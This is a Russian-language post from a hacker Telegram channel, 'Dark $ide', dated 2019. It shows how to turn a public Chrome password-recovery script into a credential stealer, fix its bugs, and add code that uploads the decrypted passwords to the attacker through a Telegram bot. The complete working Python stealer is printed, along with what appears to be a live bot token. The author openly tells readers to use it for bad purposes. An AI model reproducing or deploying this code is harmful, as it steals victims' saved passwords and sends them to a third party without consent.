May 26, 2019

GitHub - Твой проводник в мир вирусологии. {Годный GitHub}

https://tele.click/darkside_team

Привет, хацкер, сегодня я расскажу тебе о том, как GitHub помогает хакерам в вирусных атаках...

Приведу пример, когда хакеры брали готовые инструменты с GitHub'a и проводили атаки:

Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память. В других случаях использовался инструмент для хищения паролей LaZagne Project или загружалась и выполнялась другая Python-малварь. После проведения дополнительного расследования мы идентифицировали контроллеры для разных протоколов, в том числе Cmd, Lazagne, Mimikatz и так далее», — объясняют эксперты Morphisec.

Полный отчёт о таких роде атак можно найти на xakep'e

Так в чём суть?

Хакеры использовали готовые инструменты для атаки, все они были в публичном доступе. Сегодня я приведу в пример, как они сделали из публичного инструмента, предназначенного для восстановления паролей, вирус который отправляет данные злоумышленнику.

Поехали!

В поиске GitHub'a нашёл этот репозиторий:

Когда вы запрашиваете Google Chrome для сохранения пароля на данном веб-сайте, он сохраняет его в файле "Login Data" (файл базы данных sqlite).
Для безопасного хранения пароля пароль шифруется с использованием учетных данных окна пользователя.
Эта программа расшифровывает пароли в машине пользователя, а затем копирует их в тот же каталог, в котором присутствует программа.
Поэтому, если исполняемая версия этой программы подключена к любому компьютеру под управлением windows и Google Chrome, запуск этой программы скопирует все сохраненные пароли Chrome в текстовый файл. ( Admin: Кодер реализовал функцию сохранения паролей криво, но мы это поправим:) )

Скачиваем архив, смотрим код:

Исходя из кода, можем выявить работу этой утилиты.

  1. Сначала проводится подключение к бд Login Data (он содержит пароли)
  2. Далее в колонке logins он выбирает и извлекает таблицы: action_url, username_value, password_value
  3. Затем создаёт файл с именем file.txt и записывает в него логины и пароли

Тут всё просто, как 2х2.

Запустим скрипт иии...

Пароли не сохранились... Видимо кодер не проверял свой код, но ничего, сейчас всё подправим.

Всё дело в том, что пароли то он записал, а соединение с файлом закрыть забыл, лечится эта ошибка одной строкой:

fp.close()

Запускаем иии...

Скрипт работает, но наш кодер сделал лог максимально неудобным

Ладно, и эту ошибку мы поправим, для этого просто в некоторых местах убираем '/n' (она отвечает за начало новой строки)

Теперь лог приобрёл человеческий вид :)

fp.write('\nThe website: '+ result[0] + '\n')
fp.write('The Username: '+ result[1] + '\n') 
fp.write('The password: '+ str(password) + '\n')

Лог сохранён, приведён в порядок, можно и отправить (не будем же мы лично запускать стиллер на ПК жертвы, а потом копировать текстовик на USB?))

Отправка будет моим любимым способом - в телеграм.

Для этого нам нужно:

  1. Импортировать библиотеку requests, для POST запроса (для отправки)
  2. Добавить две переменные отвечающие за токен бота, и ID чата.
  3. Объявить переменную для POST запроса
  4. Ну и сделать запрос
# Переменные
chat_id = '439184350'
bot_token = '707234715:AAG7I_RBjNt93HWlXAmWML0LwkRGxqNq8Ac'

# Переменная для POST запроса
files = {'document': open('file.txt', 'rb')}

# Сам запрос
requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id  + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files)

Теперь код выглядит так:

Ну и протестируем:

Весь код:

import sqlite3
import win32crypt
import os
import requests
from os import getenv

chat_id = ''
bot_token = ''

conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

cursor.execute('Select action_url, username_value, password_value FROM logins')
fp = open(r"file.txt", "a+")
fp.write("Chrome Saved Passwords | Dark $ide - @darkside_team\n")
for result in cursor.fetchall():
   password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]
   if password:
       fp.write('\nThe website: '+result[0] + '\n')
       fp.write('The Username: '+result[1] + '\n') 
       fp.write('The password: '+ str(password) + '\n') 

fp.close()

files = {'document': open('file.txt', 'rb')}

requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files)

'''
DARK $IDE | @DARKSIDE_TEAM
'''

Использовать исключительно в плохих целях!

Заключение.

Сегодня мы рассмотрели способ, который позволяет сделать из программы показывающей пароли, сделать стиллер с отправкой лога в телегу. На этом статья подходит к концу, удачи тебе, хацкер

Dark $ide - Твоя Тёмная Сторона

Наш чат - Dark Chat | D$

Наш магазин - Dark $tore